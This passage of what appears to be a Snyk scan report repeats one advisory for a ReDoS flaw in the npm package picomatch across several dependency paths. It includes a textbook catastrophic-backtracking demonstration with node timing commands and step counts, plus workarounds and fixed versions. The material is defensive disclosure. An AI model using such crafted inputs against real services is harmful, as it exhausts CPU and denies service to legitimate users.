`ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n", "epssDetails": { "percentile": "0.32979", "probability": "0.00404", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33671" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-c2c7-rcm5-vvqj" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-03-26T08:38:58.711997Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-25T21:12:07Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-26T08:38:58.926320Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:37.899475Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tinyglobby@0.2.17", "picomatch@4.0.7" ], "isUpgradable": true, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-15765511", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Byambadalai Sumiya" ], "semver": { "vulnerable": [ "<2.3.2", ">=3.0.0 <3.0.2", ">=4.0.0 <4.0.4" ] }, "exploit": "Not Defined", "fixedIn": [ "2.3.2", "3.0.2", "4.0.4" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj", "title": "GitHub Advisory" }, { "url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:37.899475Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:37.899475Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n", "epssDetails": { "percentile": "0.32979", "probability": "0.00404", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33671" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-c2c7-rcm5-vvqj" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-03-26T08:38:58.711997Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-25T21:12:07Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-26T08:38:58.926320Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:37.899475Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tinyglobby@0.2.17", "picomatch@4.0.7" ], "isUpgradable": true, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-15765511", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Byambadalai Sumiya" ], "semver": { "vulnerable": [ "<2.3.2", ">=3.0.0 <3.0.2", ">=4.0.0 <4.0.4" ] }, "exploit": "Not Defined", "fixedIn": [ "2.3.2", "3.0.2", "4.0.4" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj", "title": "GitHub Advisory" }, { "url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:37.899475Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:37.899475Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n", "epssDetails": { "percentile": "0.32979", "probability": "0.00404", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33671" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-c2c7-rcm5-vvqj" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-03-26T08:38:58.711997Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-25T21:12:07Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-26T08:38:58.926320Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:37.899475Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tinyglobby@0.2.17", "picomatch@4.0.7" ], "isUpgradable": true, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-15765511", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Byambadalai Sumiya" ], "semver": { "vulnerable": [ "<2.3.2", ">=3.0.0 <3.0.2", ">=4.0.0 <4.0.4" ] }, "exploit": "Not Defined", "fixedIn": [ "2.3.2", "3.0.2", "4.0.4" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj", "title": "GitHub Advisory" }, { "url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:37.899475Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:37.899475Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n", "epssDetails": { "percentile": "0.32979", "probability": "0.00404", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33671" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-c2c7-rcm5-vvqj" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-03-26T08:38:58.711997Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-25T21:12:07Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-26T08:38:58.926320Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:37.899475Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tinyglobby@0.2.17", "picomatch@4.0.7" ], "isUpgradable": true, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-15765511", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Byambadalai Sumiya" ], "semver": { "vulnerable": [ "<2.3.2", ">=3.0.0 <3.0.2", ">=4.0.0 <4.0.4" ] }, "exploit": "Not Defined", "fixedIn": [ "2.3.2", "3.0.2", "4.0.4" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj", "title": "GitHub Advisory" }, { "url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:37.899475Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:37.899475Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very 